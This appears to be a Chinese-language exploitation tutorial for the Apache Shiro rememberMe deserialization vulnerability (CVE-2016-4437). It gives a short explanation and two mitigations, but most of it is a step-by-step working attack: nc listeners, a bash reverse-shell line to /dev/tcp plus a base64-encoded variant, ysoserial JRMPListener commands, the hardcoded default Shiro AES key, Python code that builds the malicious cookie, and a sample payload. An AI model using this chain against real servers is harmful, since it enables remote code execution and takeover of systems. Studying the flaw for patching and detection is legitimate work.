Apache Shiro反序列化漏洞
Apache Shiro是一个强大易用的Java安全框架,提供了认证、授权、加密和会话管理等功能。Shiro框架直观、易用,同时也能提供健壮的安全性。
首先说一下何为序列化,序列化就是指把Java对象转换为字节序列的过程,shiro框架为java框架同时使用了序列化。shiro框架的整体流程为:用户登录成功时会生成一段由序列化–>aes加密—>base64编码构成的cookie值。在服务端对rememberMe的cookie值先做base64解码然后AES解密再反序列化,且由于服务端不对cookie内容进行校验,就导致了反序列化RCE漏洞。
shiro框架存在反序列化漏洞,以550为例,分析一下这个漏洞的利用。
Shiro rememberMe反序列化漏洞(Shiro-550/CVE-2016-4437)
1.1 漏洞原理
Apache Shiro框架提供了记住密码的功能(RememberMe)
该功能逻辑为用户登录成功后会生成一段由序列化、aes加密、base64编码构成的cookie值。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,且由于服务端不对cookie内容进行校验,就导致了反序列化RCE漏洞。
那么,关键就在于将命令提前写入序列化之前的cookie值中,整套payload的构建流程为:
命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值
在整个漏洞利用过程中,比较重要的是AES加密的密钥,如果没有修改默认的密钥那么就很容易就知道密钥了,Payload构造起来也是十分的简单。
防范措施:
- 升级shiro版本
- 防范过长的cookie。(可能cookie中包含恶意命令)
1.2 影响版本
Apache Shiro < 1.2.4
1.3 特征判断
返回包中包含rememberMe=deleteMe字段
1.4 漏洞利用
1.4.1 手工利用
首先使用工具,检查是否存在默认的key。
python3 shiro_exploit.py -u http://192.168.155.128:8080/login;jsessionid=62BD74EBF53D36468BAAC8D074F3CE3C
此时获取到key,可以尝试进行反弹shell和写入文件。
漏洞利用:反弹shell
以下过程中的ysoserial监听与nc建议在同一台vps上执行,否则会出现ysoserial反弹监听失败的情况
1、制作反弹shell代码
监听本地端口,接收反弹来的shell
nc -lvp 1234
2、监听机通过ysoserial中JRMP监听模块,监听6666端口并执行反弹shell命令,将shell反弹到攻击机上。
Java Runtime 配合 bash 编码,在线编码地址:
http://www.jackson-t.ca/runtime-exec-payloads.html
生成编码:
bash -i >& /dev/tcp/192.168.155.128/1234 0>&1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4yNDIuMzIuODkvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}
编译ysoserial(如果有自动化工具,里面的jar文件是编译好的可以直接用)
1)安装maven
wget https://mirrors.tuna.tsinghua.edu.cn/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz
tar -zxvf apache-maven-3.6.3-bin.tar.gz
sudo mv apache-maven-3.6.3 /usr/local/maven3
在/etc/profile末尾添加maven环境变量:
export M2_HOME=/usr/local/maven3
export PATH=$PATH:$JAVA_HOME/bin:$M2_HOME/bin
source /etc/profile
2)下载ysoserial并打包
git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -D skipTests
会在target文件夹中生成一个ysoserial-0.0.6-SNAPSHOT-all.jar
使用ysoserial模块,执行编码后的命令进行监听
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4yNDIuMzIuODkvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}'
ysoserial.jar是一款java反序列化利用工具,利用集成了各种payload,常见用法可以用该工具进行shell反弹,将监听到的shell返回给要接受shell的机器,具体用法:
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 【port】 CommonsCollections1 '【commands】'
port:公网vps上监听的端口号
commands:需要执行的命令
3、使用shiro.py 生成Payload
python3 shiro.py 192.168.155.128:6666
rememberMe=PgE8z2tUR4CHl0gxcwSDxLK2+drp//+uqtlG0ozkpC+HgCq3YcLJeebDmjIc1uc57uM9gpAGQyyx2MWO8UwKpTC8tVnquaSAFR96K/FzYN8pv176YM8OXRqG505cGZkLtcRqiXOYJXDwQzGveLEzIXvbXyUm8qAXW6VfPjHAIbDzTb/TjCFoXa8Uj7d3Jg0e6LdXi+1PzbeCjkOYEkE2CzTW29brMV5IsYYIcsQpBIi1ufW9VUjwr4v/BV0drD62c5WktW6RbkSbzeMuKebzfKvbZgBMS1+kts30WfMF4jA2ZyZBYHTcMsRL417EmD5yHIxdzdEPpOt8JHwM8vDd7p5B6QY5wmvtkOzxnrGH83gnESFFFfDLGwELhrctPYyMA7gRe0/+nE1xpSTjRrFcBA==
shiro.py代码如下(需要和ysoserial.jar在同一个文件夹下,注意如果是生成的ysoserial.jar名字会不同记得在代码中修改):
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
# 此处使用前面拿到的Shiro Key
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print ("rememberMe={0}".format(payload.decode()))
4、构造数据包,伪造cookie,发送Payload。
nc监听端口,shell成功反弹: